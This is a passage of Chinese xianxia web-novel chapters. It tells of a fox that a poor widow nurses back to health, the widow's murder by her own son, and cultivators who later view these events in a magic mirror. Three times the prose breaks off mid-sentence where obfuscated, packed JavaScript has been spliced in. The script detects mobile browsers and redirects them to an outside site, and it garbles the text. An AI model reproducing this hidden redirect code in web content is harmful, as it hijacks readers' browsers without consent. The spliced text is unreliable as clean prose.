苏遗星被放在背篓里,篓里原本的东西被女人提在手中。 他的脑袋探出来,耳尖抖了抖,密林的虫鸣鸟叫四处盘绕,阳光倾撒,他看见女人掺着几缕银白的发丝,盘着一个简单但整齐的发髻。 又走了一段时间的路,女人带他进了一个人烟稀少的村庄。 “孙大娘进林子里采笋吗?”有妇人在门前晾衣,看见她背篓里红色活物,“这是啥?瞧着怪稀罕的,也是在林子里抓的?” “不是抓的,”孙大娘说:“路上见它受了伤,顺路带回来。” 苏遗星默默松一口气,至少听起来不是坏人。 孙大娘家在村子最里面,她打开吱呀作响的木门,将苏遗星放在地上。 院子不大,一边开垦种了一些菜,一边摆着砍过的木材。 离他最近的是一口井。 孙大娘给他包扎伤口,然后送过来一碗粥。 苏遗星缩在水井边,他有些庆幸地想,自己又遇到好人了。 这个屋子只有孙大娘一个人,每天早上她都会放一个碗在他面前,有时是粥有时是饭,上面卧几片翠绿的菜叶。 她自己扛着个带铁疙瘩的长棍,清早出门,擦黑回来,每次回来的时候身上的泥土味都格外重。 就这样过了好几天,苏遗星肉眼可见地瘦了一圈。 连身上鲜亮似火的皮毛好像都暗淡了。 一只带着老茧的手搭在他脑袋上,苏遗星没什么精神地抬头,看见孙大娘有些担忧地看着他,脸上的细纹仿佛都纠结在了一起。 苏遗星咕哝一声,努力地蹭了蹭她的手掌。 他其实没事,只是吃了太久的素。 腿上的伤好了很多,但只能一瘸一拐地走路,根本无法捕猎。 他梦到自己趴在草地上晒太阳,面前堆着数不清的兔子和山鸡,他吃了一只又一只,直到被饿醒。 天已经很晚了,面前的瓷碗早已干干净净。 “吱呀——” 苏遗星立刻迎上去,今天孙大娘没有扛棍子,而是背着一个沉甸甸的布袋,她一边肩头被压得很低,整齐的头发耷下一缕。 他凑近袋子嗅了嗅,闻到了久违的肉香。 晚上他终于如愿吃到,接下来的几天,碗里的菜叶子也都变成了肉。 虽只有几块,但苏遗星精神抖擞。 这天孙大娘穿了一身水蓝色裙裳,简单的发髻上插着一支银色的簪子,出门前摸了好几次。 最后拍了拍他的脑袋,“今天早点回来,晚饭吃鸡肉。” 其实苏遗星的伤已经好了,他可以自己捉鸡。 他顺着墙角的一颗歪脖子树爬出院子,悄悄跟在了孙大娘后面。 他要看看她在哪捉鸡,以后就不用她去了。 路程比想象得远,他来到了一个人很多的地方。 “呀!好漂亮的狐狸,红色的诶!” “跑得好快呀!” “小娃子让开!” 一辆载着重物的黑驴直直往前冲,主人拽着绳子也无济于事,眼见要撞翻一个扎着羊角辫的女孩,一只红狐窜出来,咬住女孩衣摆往后一扯! 小女孩惊叫一声歪倒在狐狸身上。 “青青!”年轻妇人姗姗来迟,一把扶起女儿,再一转身,狐狸已经不见了。 苏遗星在流动的人群里穿梭,跟着孙大娘停在了一个最热闹的地方。 孙大娘走到集市的亭子边,“大人,有我的信吗?” 翘着二郎腿的大汉撇她一样,“是你什么人?叫什么名字?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241363|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孙大娘抬起头,“我的儿子,叫赵子安。” 大汉随手在木箱子里翻找一阵,“没有,等下回吧。” 孙大娘挤出一点笑,“您再仔细找找呢大人?” “我说没有就没有!听不懂人话?”大汉啐了一口唾沫,“滚一边去别碍事!” 孙大娘难舍地看着那个木箱,半晌才低头离开。 “哟我当是谁呢,这不是孙娘子吗?八年了,你儿子给你写过几封信啊?” 一个四十多岁的男人负手走了过来,他理了理广袖,跟亭子里的大汉说话:“找找有没有我的信。” “好嘞!” 孙大娘停了一下,往反方向走。 男人挡住她的去路,“跑什么,你欠我的银子什么时候还?” “等今年的稻子卖到钱——” 男人大怒,“我呸!你那点钱要还到什么时候?!儿子走了八年还没回来!怕不是在外面太快活乐不思蜀,忘了家里还有你这个亲娘!” “子安去太清学府求仙,学成自会归来,借你的银子也会还的。”孙大娘语速不快,但字句清晰。 男人毫不买账,“他要是一辈子学不成!那我的银子这辈子都不还?男人死的早儿子也没出息,我看都是你克的!” 他说着上下打量妇人,“有脸来逛集市?还带簪子?真当你还是孙府二小姐?” 男人说着直接夺她的银簪。赵大娘抬手去挡,被男人身后的小厮一把推到在地。 “这簪子也换不了几个钱,就当抵债了。剩下的快点凑齐!不然等你儿子哪天回来,见他娘缺胳膊少腿的也晦气不是?” 行人纷纷侧目,窃窃议论砸进人心里。 “孙府?是二十五年前的孙家吗?” “是啊,孙家曾经可是富庶一方,一场大火烧得干干净净。只有这孙二小姐孙芝兰被家丁拼死救出,出来的时候衣服都烧没了,只能嫁给他。” “家丁在大火里伤了底子,没两年就走了,也是命不好。” “……” 苏遗星被拥挤的人群拦在外面,他看见孙二小姐的头发散了一大半,她站起来拍拍衣服上的灰,没有看众人一眼,迈步走远。 亭子里的大汉将信件递给男人,男人冲着孙小姐离开的方向嗤骂一句:贱人。 孙芝兰一路走回家,小院里空荡荡,井口边上卧着的红狐不见了。 将近一个月,它的伤应当已恢复。 她叹了口气,怎么不多留几天呢?是嫌吃的不好吗? 可她也没法给它更好的了。 她回到屋里,动作小心地将水蓝色裙裳换下,只是可惜了她的簪子。她重新挽好发髻,穿上布衣。 再早些年的时候她还不会种田,靠着刺绣手艺过活,只是不够明亮的烛火熬坏了她的眼睛,她只能另谋出路。 子安离开时也不过十五岁,她的儿子聪慧机灵,定能成才的。只是不知何时才能回来。 孙芝兰背着锄头,走向日复一日埋身劳作的土地间。 落日前孙芝兰回到家中,门前半蹲着一团红色的影子,她一愣,干枯了大半天的脸上荡开一点笑意,“你没有走。” 狐狸将嘴里的东西吐到她面前,兴高采烈地冲她抬了抬脑袋。 “这是?” 地上躺着一堆银色的东西,除了她的发簪,还有大大小小五六块碎银。 孙芝兰好半天才反应过来,她蹲下来平视狐狸琥珀色的眼睛,“你白天跟我去了镇子?” 苏遗星点点头。 “簪子是你从那人身上拿的?” 苏遗星重重点头。 孙芝兰语速渐快,“这些银子也是你在他那拿的?” 她看起来没有多开心,苏遗星耳朵没那么挺直了,他小心地点点头。 5. 芝兰(二) “不问自取是为贼……算了,你只是一只狐狸。” 孙芝兰叹息一声,将手中农具放进院内,然后抓起地上的一堆小东西,准备再去一趟镇里。 衣摆倏忽被扯住,孙芝兰转身拍了拍它的脑袋,“松口,银子我要还回去。” 苏遗星扯得更用力,想要将她拉回来。是那个男人先抢她的东西,他只是做了同样的事情,凭什么要还? “你若再不放开,我就不能继续养你,”孙芝兰没有狐狸的力气大,被扯得往后退了几步,只得道。 “……” 苏遗星不情愿地松口。 孙芝兰赶到镇上时天已经完全黑了,她低头看着掌心里的东西,想了想,还是将银簪放进怀里,这是她最后一只簪子了。 来到方宅门前,她将银子放在地上,打算扣了门就离开。 不料她的手还未碰到门环,暗红色大门忽地自己打开了。 门后一张怨气冲天的脸骂骂咧咧:“银子和簪子全丢了,除了那贱女人还能是谁干——” 方横停了一下,先看到孙芝兰,然后看见了地上的五块碎银,不多不少,正是他丢的数目。 “果然是你!”男人怒不可遏,“做了腌臜事还有脸上门?!” “不、不是!” 宅门大开,方横身后站着两个同样凶神恶煞的家丁。 孙芝兰后退一步,脸色煞白,“银子还你……我走——” “拦住她!” 家丁猛地拽住她的头发,孙芝兰仰面摔倒在地,天旋地转两眼发黑间,怀里的银簪一声脆响滑落在地。 方横更怒:“还说不是你偷的?!给老子好好教训这个不要脸的贱女人!” 院子里又出来两个手持木棍的家丁,方横冷笑,“看看你现在又老又丑的可怜样,当年瞧不上老子,最后还不是落得这么个下场。” 孙芝兰爬起来要跑,不知被谁踹了一脚,木棍的破风声呼啸而至。 她弓起身子抱住自己,预想中的疼痛却没有袭来。 “什么东西!” “啊!我的腿!” 惨叫从家丁口中发出,孙芝兰抬起头,只见一只红狐出现在她面前,喉咙里发出兽类的低吼。 一个家丁歪倒在地,抱着淌血的左腿痛苦不已。 “哪里来的畜牲?!”方横也被吓了一跳,这只红狐毛发飘逸顺滑,琥珀色兽瞳散发着凛凛寒意,不像普通狐狸。 但他很快稳住心神,他们这么多人,还能怕一只四脚畜牲? “都给我过来!把这狐狸赶走!” 几乎所有家丁都拿着棍子冲了出来,狐狸动作灵活见人就咬,有个人的小腿肚甚至被扯下块肉,但他自己也挨了好几棍。 “他娘的!给我弄死这个畜牲!” 接二连三的人被咬伤,几个年轻府丁被激出血性,棍子死命往它身上招呼。 苏遗星的脑袋不知被谁狠狠敲了一下,趴倒在地半天没有动弹。 孙芝兰大喊救命,但方家不是一般人吃罪得起,夜间路上少行人,邻里也都门窗紧闭。 她手脚发抖,回首见狐狸趴在地上,跟人高马大的男人们比起来,它只有很小一团。她想跑却怎么也迈不开步子。 一柄短刀被抽了出来,孙芝兰几乎是喊出声:“住手!” 家丁手里握着短刀,满脸通红地往下捅:“畜牲!看爷宰了你!” 鲜血飞溅! 那家丁一愣,倏地将刀一扔,“你自己撞上来的……” 孙芝兰半躺在地上,刀刃斜斜刺过她的肩臂,她满脸痛楚,那只手当场就无法动弹。 血迹很快漫过她半边衣袖。 家丁嘴唇哆嗦,“怎、怎么办?” 方横也有点慌,他最多只想教训她一顿,并未打算弄出人命。 “……把人抬远点,”方横一挥衣袖立刻转身,“走!” 主子回去了,几个家丁手忙脚乱地扶着受伤的同伙跟上,末尾两个人将孙芝兰抬到路边,不忘擦掉门口的血迹。 门被重重阖上。 只剩下苏遗星围着倒地的女人打转,他拱了拱孙芝兰的脸颊,喉咙里发出细微的“嗷嗷”声。 孙芝兰躺在地上,动一下就剧疼无比。 她有些恍惚,她这一生孤寂了太长时间,孙府尚在亲朋美满的日子仿佛是上辈子。 只是遗憾无法再见赵子安一面,他离家时还不到她的下巴。 突然,斜对面的一户人家开了门,走出来一大一小两个人影,苏遗星看着她们靠近,警惕地挡在前面。 “别怕,我略通一些医术,”女人扶住自己的药箱,她身边的小女孩用力点点头,“我娘很厉害的!” 女孩扎着一对羊角辫,苏遗星认出这个他白天顺嘴拉的小孩。 苏遗星回到孙芝兰身边。 女人打开药箱放在地上,处理伤口时一股浓重的血腥味飘了出来,小孩跪坐在对面,表情认真地协助母亲。 “好了,”不多时,女人抹了抹额上的汗珠,“这整只手休要乱动,三天后再换新药。” 孙芝兰被扶着站起身,女人将外衣披在她身上,又拿出一瓶药和一卷裹伤布,“这些给你。” 孙芝兰下意识接过,还未从死里逃生中回过神来,“姑娘,你我素未谋面,为何……” “白日这只狐狸救了我孩子一命,”女人略带歉意地笑笑,“你莫怪我先前不帮你,实在是,我们母女还要讨生活。” “不会,多谢。”孙芝兰郑重道。 小女孩悄悄摸了摸苏遗星的脑袋,很快收回手。 几人在路边告别,回到村里已月上中天。孙芝兰很疲惫,整个右手包括肩膀,动一下剧痛无比,不止没法干活连觉也睡不安稳。 但日子也没有想象中的艰难,她一只手可以煮饭洗碗,只是动作很慢。 苏遗星学会了从井里打水,水桶放下去,他叼着绳子一端跑开,待木桶悬上来,苏芝兰只要将小半桶水提起来就行。 吃了几天的米饭水煮菜,苏遗星在一天夜里出去捕猎,第二天孙芝兰便在院子里看见了两只奄奄的山鸡。 是母鸡。 “以后有鸡蛋了,”孙芝兰连日病容的脸上多了一丝笑意。 苏遗星隔一天捕一次猎, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241364|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个多月过去,孙芝兰伤好了大半,院子里已经有了十只山鸡和六只野兔。 这天午后,孙芝兰动作小心地杀了一只鸡,苏遗星蹲在一边很期待,他还是更喜欢熟食。 吃饱喝足,孙芝兰和他坐在院子里晒太阳。在难得的惬意时光中,院门被吱呀推开,一个年轻男人风尘仆仆出现在门口,“娘!” 孙芝兰一愣,半晌眼眶通红,“子安?” 七年了,母子终于相聚,两人紧紧拥抱在一起,孙芝兰伤口未好完全,臂膀抖了一下哎,赵子安察觉异样问怎么了。 “小伤,不碍事。” 赵子安没放在心上,“娘,我来看看你,还要回太清学府。” “好!”孙芝兰眼角眉梢都是喜悦,眼珠不停转动,从头到尾一遍一遍看着已经长大的孩子,“长这么高!我儿子真出息!” 两人一起坐在院中的石凳上,孙芝兰急切地问他在外头怎么样,赵子安将太清学府的见闻说给母亲听,说学府雅致仙君高洁,说修炼辛苦术法玄妙。 孙芝兰听得认真,苏遗星没兴趣,他趴在太阳底下,瞌睡连连,就着耳边的聒噪睡了过去。等他醒来,太阳已经跑去土墙下面。 那两人还在说话,赵子安笑容满面,“我明日就走,你给我些钱两。” “明天?”孙芝兰的喜悦稍稍凝固,“……不多待些天?” “不了,这七年我过得紧巴巴,你再给我五十两银子吧。” “娘的钱已经都给你了,方家的二十五两银子还有一半未还……” “还没还?”赵子安大吃一惊,“那你再找旁人借一借,我还要上太清学府继续求仙呢!” “……儿啊,你学了八年,应该学了些本事吧,不如想法子挣些钱,”孙芝兰握住赵子安的手,“先还了方家的银子,再找个姑娘成家……” 赵子安一把抽回手,“娘你说什么呢!修仙哪有那么容易?!就算要成家,我也要找个仙姑,您不必再说!” “那……” “你想法子弄点银子!我明天走。” 孙芝兰脸色变得苍白,赵子安根本瞧不见,嘀咕了一句好渴,自顾自进屋倒水喝。 晚上孙芝兰做了一桌子菜,小小一方木桌,堆得满满当当,荤肉炖汤农家小炒,色香味俱全。 “好香啊!”赵子安好久没吃到这么丰盛的饭菜,太清学府饭食清淡,他身上钱两不多只能偶尔去下一次馆子。 孙芝兰摘出一只鸡腿,又在碗里添了些别的,放在苏遗星面前。 “娘你做什么?”赵子安吃得满嘴流油,撇了一眼,“畜牲随便吃点就行。” “他有灵性,这一屋子的山鸡野兔都是他捉来的。”孙芝兰顺手摸了下他的脑袋,“他还会打水呢。” “打水?” 赵子安仔细看向吃鸡腿的狐狸,只见它将整个鸡腿叼进嘴里,片刻后吐出一根干干净净的骨头,末了似乎还撇了自己的一眼,琥珀色的兽瞳中似乎有不满的情绪。 赵子安吃饭的动作稍缓,这只狐狸确实生出了一些灵智,如果他捉回学府……说不定能得司教青眼,奖他几颗丹药也是好的。 6. 回溯之镜 想到这他瞬间喜上眉梢,没料到此行还有意外收获。 “娘,明日我将这狐狸也带走。” 孙芝兰面露不解,“做什么?” “这狐狸生出灵智了,可能会化妖,您留在身边不安全。” 孙芝兰道:“不会,他不会伤害我。” “妖怪怎么可能不害人?”赵子安不满,“你不用管,明日我就断他四肢带回太清学府,午时前你凑五十两银子给我就成。” “……” 孙芝兰放下碗筷,“子安,你们修仙之人不会不分对错,他什么也没做何故要遭到如此对待?况且家中钱财八年前已全数交给你,方家欠款也未还清,你让娘去哪再给你凑齐五十两?” “我……”赵子安只有一瞬的愧疚,很快想明白,“娘,我在外吃尽苦头,你在家中安稳度日还好吃好喝养一只畜牲,却连二十五两银子都未还齐。” 孙芝兰愣住。 “罢了,把家中剩下的钱两给我就成,但这只畜牲我明日必须带走。”赵子安站起身,他在太清学府呆了八年,还是想办法早日入太清宗更重要。 赵子安无心再吃饭,转身进屋休息。 “站住!” 赵子安回头,只见母亲脸上是少见的严肃。 “我不知你这些年在外学了些什么,但你如此心术,实在枉费仙府教导!明日你不许走,若你八年间真的勤学苦练,定能在镇上找个活计。” “你说什么?”赵子安瞪大了眼睛,“不可能!我不会留下!” 这种地方,真要留下,那才是永无出头之日。 他说着立刻转身,孙芝兰叫他也只当做未闻,下一刻他手臂一紧,赵子安怒从心起,猛地将人挥开。 孙芝兰踉跄后退了好几步,木桌哗啦,上头的碗筷倾倒一半。 苏遗星立刻跳过来挡在孙芝兰面前,兽瞳紧紧盯着赵子安。 “娘,我看你就是被这东西蛊惑了心智!”赵子安抽出腰间的剑挥过去,苏遗星堪堪躲过。 “住手!”孙芝兰指着赵子安,“你怎会有你这样的儿子!” “我怎样?!自我记事起你就盼我出人头地,十五岁我孤身去太清学府,你可知里面有多少家境优渥天资卓越之人!没有人看得起我!” “你何须在意旁人眼光!” “在意旁人眼光的明明是你!” 赵子安的一边脸颊因剧烈的情绪抽动,“是你不甘贫寒!你藏的那些衣裳首饰以为我不知道吗?我爹没让你过上好日子,便将主意打到我头上!哪里来这么好的事?!” “你!”孙芝兰手指颤抖,“……你是这么想的?” “难以置信被我看穿了?”赵子安心中竟有快意,学府中家境贫寒的人不是没有,但每年他们都会收到家里托人寄的信函和银两。 那些信中无一不是挂念儿女身体健康,忧心是否在外受苦,再告知不必担心家里,只需潜心修炼。 只有他的信是母亲耳提面命的叮嘱,专心修炼、不要贪图享乐、要出人头地。 可哪有那么容易?整整八年,他还未筑基。 “我不欲同你计较,但你休想拖累我。” 他剑尖直指一边的狐狸,“我不会留下,这只畜牲——” “啪!” 孙芝兰狠狠地甩出一巴掌,掌心生疼,她的视线开始模糊,“滚!你现在给我滚出去!我只当从来没有你这个儿子!” “……你说什么?” 赵子安好半天才转回头,眼眶已爬满血丝,“娘,何必如此急色,您老之后我会好好孝敬您的。” 他目光一转,“妖孽,我现在便先要你的命。” 剑身泛起微弱的灵光,但对付一只未完全开智的妖怪绰绰有余。 他缓步走近,两道剑气斩断苏遗星的退路,就当他最后一剑要落下时,身体被人推开。 孙芝兰急道:“快走!” “让开!”赵子安被拦住,心急如焚。他眼见到手的猎物要跑,情急之下他刺出一剑想逼退孙芝兰。 ——雪亮剑身没入温热皮肉。 孙芝兰没反应过来似地缓缓低头,眼中茫然一片,嘴角溢出鲜血。 “娘……” 赵子安僵在原地。 那一瞬间他好像什么都听不见,他在哪里?他在做什么? “怎么回事?” “孙大娘家里好像有人在吵架。” “她不是一个人住吗?” “我们去看看……” 邻里窸窣的议论声传来。 似是有人想过来。 赵子安如梦初醒,他不能被困在这个破烂地方! 他猛地抽出自己的剑,一脚踢开扑上来的狐狸,跌跌撞撞冲出了年久破旧的小院。 孙芝兰瞪大眼睛,嘴唇翕动着说话不出话,只有更多的鲜血流出来。 她看着儿子的背影消失在视野中,泪珠滚落,却是不甘。 她是孙府二小姐,她也曾栖在锦绣园。 如果能重来一次,她不会嫁人,她想要看看山的那边,是不是种满稻子的田。 普通的村落中再朴素不过的小小院落,第二次埋葬了一个女人坎坷不幸的人生。 - 疯狂的大笑声唤回苏遗星的神志。 “哈哈哈哈!你果然成了妖!她那般维护你,是你害死了她!” 苏遗星瞳孔骤缩,艳丽精致的眉眼好像浸了沸腾雪水,满是凛冽的杀意。白皙手背青筋突起,他死死掐着对方的脖子。 “苏遗星!” 元泽上前一步拉开苏遗星,反手将赵子安劈晕。 这一切发生在电光火石之间,众人从沉默中挣脱,喜鹊看向苏遗星,“你…你是那只狐妖?” 事到如今,赵子安不可能只是一个无辜的受害者。 魏则荣只觉得匪夷所思,看向苏遗星,“赵子安与他母亲、与你,到底发生过什么?” 少年呼吸声沉重,清瘦的肩背笔挺,身体紧绷,额上的狐尾印记已经全部显露出来。元泽垂眼,果然在他袖口边缘的手腕处发现一抹赤色妖纹。 元泽道:“时间不早了,再留下去恐怕被其他人发现,清阳小姐,你说呢?” 清阳点点头,也没问他们为何带着狐妖又回到了浠水城。 “嗯,今晚的事劳烦诸君保密,为表谢意,我有一面回溯之镜可供诸位一用。” “回溯之镜能回溯过往,是黄级法器,”徐丽影道:“你怎么会有?” 世间法宝灵器有天地玄黄四个品阶,回溯之境是最低等的黄级。 它是早年的散修为谋生所制,只供没有灵力的人用,内存灵力只能使用一次,想再用需重新灌注灵力。 优点是被回溯之人无法隐瞒,凡间疑案难案或世家皇族有需要会花重金求购。 但现在几乎没有散修会炼制回溯之镜,所以往往可遇而不可求。 苏遗星不是凡人,回溯之镜无法验证回忆真伪,只做一个直观展示的媒介。 清阳道:“自然是买的,我们不是修士,只能花些银子。” 魏则荣将地上的赵子安提回床上,徐丽影帮着喜鹊修门,元泽与清阳约定取回溯之镜的时间。 结束之后,几人在阁楼下分别,除了赵子安身上的伤之外,没留下有人到访的痕迹。 元泽等人回到厢房静候天明,然而未到辰时,门扉被“嘭嘭”敲响,来人却不是清阳。 “仙君,城主出事了!请您救救城主!” 周隐已经醒了酒,最先开门出来,见是昨日城主身边的府丁。 “出了什么事?” 其余几人也陆续推开门,元泽看向苏遗星,他身上的妖纹已经消失,整个人看起来沉闷不少。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241365|197749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >府丁的视线在魏则荣和徐丽影身上转了好几圈,才说:“城主昨日回去,吃了两位仙君给的仙丹,半夜高热不退口中溢血,现在还没醒……” 徐丽影皱眉,“丹药是给赵子安的,他吃做什么?” 府丁两只手攥在一起,“城主正好身体有些不适,便想先服用仙丹缓解一二。” 蕴养气血的丹药在普通人身上会导致血脉喷张气血上涌,简单来说就是补过头了。但城主的症状似乎过于严重。 元泽撇了府丁一眼,不用猜也知道这人在说谎,丹药八成是城主自己想独吞。 但她没立即戳破,“城主在哪,带我们去看看。” 府丁带路,半途遇见来履行约定的清阳和喜鹊,短暂交谈后,众人一起去城主寝殿。 中年男人只穿一件里衣躺在榻上,他面色红润,比昨天见的还好要,不知道还以为他吃饱喝足后酣然入睡。 几人中只有徐丽影稍微懂一些脉象,她坐在床沿仔细搭脉,片刻后疑惑道:“脉搏杂乱但遒劲,像昨日的丹药,起码吃了数颗才会如此。” 魏则荣直接问道:“他之前可服用过其他丹药?” “这……”府丁脸色白了一瞬。 元泽挑了挑眉,“怎么,这个问题很难回答?” “……城主早几年身体抱恙,确实服用过一段时间的丹药。” 周隐问:“什么药?” “这…我也不知。” 这下连周隐也听出蹊跷。 元泽视线一顿,落在清阳身上,按理来说自己的父亲出事,身为女儿多少该伤心难过,但她在清阳身上甚至看不见一丝担忧,倒是后方的喜鹊盯着城主,目光竟有一丝冰冷。 府丁吞吞吐吐,“仙君,城主什么时候可以醒过来啊。” 徐丽影站起身,“我也不知,你找郎中来看看吧,最好找之前替城主配药的郎中。” “这……” 府丁显然没说实话,但言尽于此,几人离开。 元泽落在后面与清阳并行,轻声道:“你父亲的身体最好还是找人来看看。” 清阳笑了笑,“自然。” 元泽看着她的侧脸,“你父亲对你很上心。” “他只是对我的婚事很上心。” “既如此,你的前夫和孩子怎会双双殒命?” 清阳轻叹一口气,“仙君居然会打听这件事,不过是意外罢了。” “只是意外吗,我以为有隐情,否则,你为何有回溯之镜。” 一见清阳僵住的表情,元泽就知道自己猜对了。一个闺阁中养尊处优的女子,会寻渠道花大价钱买一面回溯之镜,本就不同寻常。 她很可能是想查探或者公开某件事——她瞬间就想起清阳早逝的夫君和孩子。 如果只是怀疑普通人,以清阳的身份完全可以光明正大的做,除非对方身份特殊。 城主府中最符合条件的就是城主。 “到了,”魏则荣停下脚步。 前面就是他们暂歇的厢房,元泽接过手掌大小的铜镜,好似方才的对话没有发生,“多谢清阳姑娘。” 清阳垂下头,匆匆告辞。 魏则荣率先打开自己的房门,“进来吧。” 几个人陆续走进去,周隐和另一个师弟不明所以,互相看了看,也只能一头雾水地跟进去。 “里面有灵力,可以直接使用,”元泽将镜子递给苏遗星,“你只用在脑中回忆,回溯之镜就会将画面呈现出来。” 苏遗星看了一圈周围的人,最后对上元泽的目光,“好。” “不是,这是什么?你们要做什么?”周隐左看右看忍不住发问,却没有一个人理会他。 苏遗星闭目,纤长浓密的眼睫投下淡淡的阴影。 他缠着布条的左手垂着,右手手掌中的镜子流转过一道白光,而后画面被投射在半空中。 7. 化妖 这是元泽两世以来,第一次见到苏遗星的这段过往。 前世完成外派后,她偶遇了受伤逃亡的苏遗星。彼时她在山麓生火歇脚,脏兮兮的狐狸被火光吸引,小心谨慎地走过来讨一点温暖。 对自己造不成威胁的东西,她懒得搭理。 她盘腿坐在一边,闭目运转灵力,不放过一丝修炼的时间。 灵力生的火燃烧整晚,第二日元泽熄了火堆启程,苏遗星自以为隐蔽地跟在她身后。 元泽的速度很快,每当她以为狐狸跟丢了,总会看见它从某个不起眼的角落里一瘸一拐地钻出来。 到了太清宗脚下,魏则荣等人方才追上。 “妖孽!敢往这跑!知道这是什么地方吗?!” 周隐毫不客气地甩出一道剑气将苏遗星掀翻,已经看不出原本颜色的狐狸摔得老远。 他在来路耗尽了力气,四肢徒劳地动了动,他拼命仰着头望向元泽,却只能见到一个白色的修长背影。 元泽一早就看出他是狐妖,也看出他身上的伤是同门术法的痕迹,不过这一切与她有什么干系? 彼时她心中只有一个目标,修炼、突破金丹期。 所以前世的她任由苏遗星被带上太清宗,也不知道他在无为峰戒律堂受到了何种审判。 只是在很远的后来,她还能在少年骨骼秀美的清瘦脊背上,看见数道带着灼烧痕迹的戒鞭印。 站在回溯之镜投射出的画面前,元泽罕见地觉得胸口有一丝窒闷。 赵子安剑中有灵气,孙芝兰当场丧命。苏遗星围着女人的尸体打转,小声低哑地叫着。 突然他拔足狂奔冲出院子,找到镇上曾救过孙芝兰的郎中。 女人站在门口,看着狐狸一边喘气一边呆呆地望着她,琥珀色的眼睛好像有些湿润。 狐狸轻咬住她的衣角好像要将她往某个方向带。 女人扶着门,脚步未动。 “娘——它怎么来啦?”屋里又出来一个小姑娘,她惊喜地上前一步,“你来找我玩儿吗?” “青青,”女人一把搂过女儿,最终只是叹了一口气。 等苏遗星带着女人回来时,孙芝兰的尸体已经被邻里发现,小院子外围了十来个人,他们三三两两凑在一起低声议论,却没一个人敢进去。 女人带着药箱推门而入,里面的场景让她倒吸一口凉气。 她放下药箱,在孙芝兰面前蹲下,片刻后摇摇头,“她已经死了。” 苏遗星不能很好地理解这个字,女人出去和村民们说话,村民大多摆手,表示自己什么都不知道。 女人略带不忍地看向院子,晨光微弱,将两道低矮的影子映出几分朦胧。 最后孙芝兰的尸体在女人和村民的帮助下安葬,葬在她夫君旁边。 苏遗星在坟前徘徊了很久,终于有一天他彻底明白,他永远也见不到这个人了。 他只是短暂地拥有过一个容身之所。 也是这一天,他在月色中第一次化形,成了一只妖。 少年身形,红发雪肤,明艳不似凡尘物。 他在孙芝兰的坟前磕了三个头,鲜艳似火的长发逶迤在黄土地,作一场潦草别离。 回溯之镜的画面扭曲着消散,苏遗星睁开眼,琥珀色瞳孔下泛着浅淡水色,显然在回溯的过程中他自己也细致回忆了一遍过往。 房中久久无人说话,元泽从苏遗星手中拿回镜子,她看着他秀致的侧脸有些出神。 “抱歉,”最先开口的是魏则荣,他自以为正道修士当锄奸扶弱,得知赵子安是学府修士后,他便没任何顾虑地认定是苏遗星为祸在先。 徐丽影稍显诧异,她没想到向来寡言沉稳的师兄会主动道歉。 她偏头,“我还有一事不明,苏遗星你怎么知道赵子安在浠水城?” 苏遗星扯了扯嘴角,“我天生对灵力比较敏感,在一定距离内,对方只要使用灵力我就能感应到气息的具体位置。” 他说着眼尾微挑,瞟了元泽一眼,不料对方也正在看他。 “这是你的伴生术法?” 人族修炼途中所有术法都需后天学习,妖族化形之后,会自然领略一门伴生法术。如果没有别的际遇,妖一辈子也只会那一门。 不过苏遗星这种伴生术法徐丽影还是第一次遇见,可能与狐族一脉从仙古传承下来有关。 周隐看向魏则荣,“师兄,我们接下来怎么办?” “明日离开浠水城,将赵子安带去最近的府衙,按律处理,”魏则荣看向元泽,“此事是否得告知清阳姑娘?” 元泽颔首,示意手中的回溯之镜,“嗯,到时我来说。” “等等,”昨晚送喝醉的周隐回去,错过了所有的吴语道:“城主吞了我们的丹药,要让百草峰的人来看看吗?” 徐丽影只答:“不是我们丹药的问题。” 他们来浠水城只是为了除妖,城主的病症不是他们的责任。况且也不是没有过问,只是府里的人不愿说实话。 赵子安一事清晰明了,苏遗星所为算不得作恶,这项外派到此便结束。 魏则荣最后看向苏遗星,“你随时可以离开,今后好好生活,切记不要害人。” “师姐,这次多亏了你,否则我们就犯了大错,”徐丽影对元泽道。 前世元泽没有干涉,他们确实捉错了人。 一只狡猾妖物所言,戒律堂的人不会相信,多半还会觉得荒唐,太清学府的人怎么会做出如此天地不容之事。 “嘁,”周隐瞟了元泽一眼,“也不是多大的事。” 一只妖而已,捉错便捉错了。 “师兄,话不能这么讲,如果没有元泽师姐插手,孙二小姐白白惨死岂不是无人知晓?”吴语道。 周隐默然几息,猛地转身推门离去。 吴语挠了挠头发,看向徐丽影,巴巴道:“师妹。” “随他去吧,”徐丽影叹了口气。 残阳似火,云层舒卷。几人陆续出来,苏遗星进了自己的那间厢房,徐丽影和吴语打算在浠水城逛逛。 